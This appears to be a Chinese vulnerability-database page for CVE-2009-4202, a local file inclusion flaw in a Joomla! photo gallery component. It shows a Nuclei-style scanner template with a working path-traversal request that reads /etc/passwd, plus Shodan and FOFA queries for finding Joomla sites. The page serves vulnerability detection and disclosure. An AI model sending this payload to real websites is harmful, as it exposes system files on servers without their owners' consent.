CVE-2009-4202: Joomla! Omilen Photo Gallery 0.5b - Local File Inclusion

日期: 2025-08-01 | 影响软件: Joomla! Omilen Photo Gallery | POC: 已公开

漏洞描述

Joomla! Omilen Photo Gallery (com_omphotogallery) component Beta 0.5 allows remote attackers to include and execute arbitrary local files via directory traversal sequences in the controller parameter to index.php.

PoC代码[已公开]

id: CVE-2009-4202

info:
  name: Joomla! Omilen Photo Gallery 0.5b - Local File Inclusion
  author: daffainfo
  severity: high
  description: Joomla! Omilen Photo Gallery (com_omphotogallery) component Beta 0.5 allows remote attackers to include and execute arbitrary local files via directory traversal sequences in the controller parameter to index.php.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files and potential remote code execution.
  remediation: |
    Upgrade to a patched version of Joomla! Omilen Photo Gallery or apply the necessary security patches to mitigate the LFI vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/8870
    - http://www.vupen.com/english/advisories/2009/1494
    - https://nvd.nist.gov/vuln/detail/CVE-2009-4202
    - http://www.exploit-db.com/exploits/8870
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:P
    cvss-score: 7.5
    cve-id: CVE-2009-4202
    cwe-id: CWE-22
    epss-score: 0.1537
    epss-percentile: 0.94401
    cpe: cpe:2.3:a:joomla:joomla\!:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: joomla
    product: joomla\!
    shodan-query:
      - http.html:"joomla! - open source content management"
      - http.component:"joomla"
      - cpe:"cpe:2.3:a:joomla:joomla\!"
    fofa-query: body="joomla! - open source content management"
  tags: cve,cve2009,joomla,lfi,photo,edb

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_omphotogallery&controller=../../../../../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100dbcc0b3face0d624d5897df536f844f14d62af4b6d8f9e1f158117825f51adf00221008032246aac535b76483ddb9e23c2764ea479390dd21d4e5de08b48ebf449f863:922c64590222798bb761d5b6d8e72950

相关漏洞推荐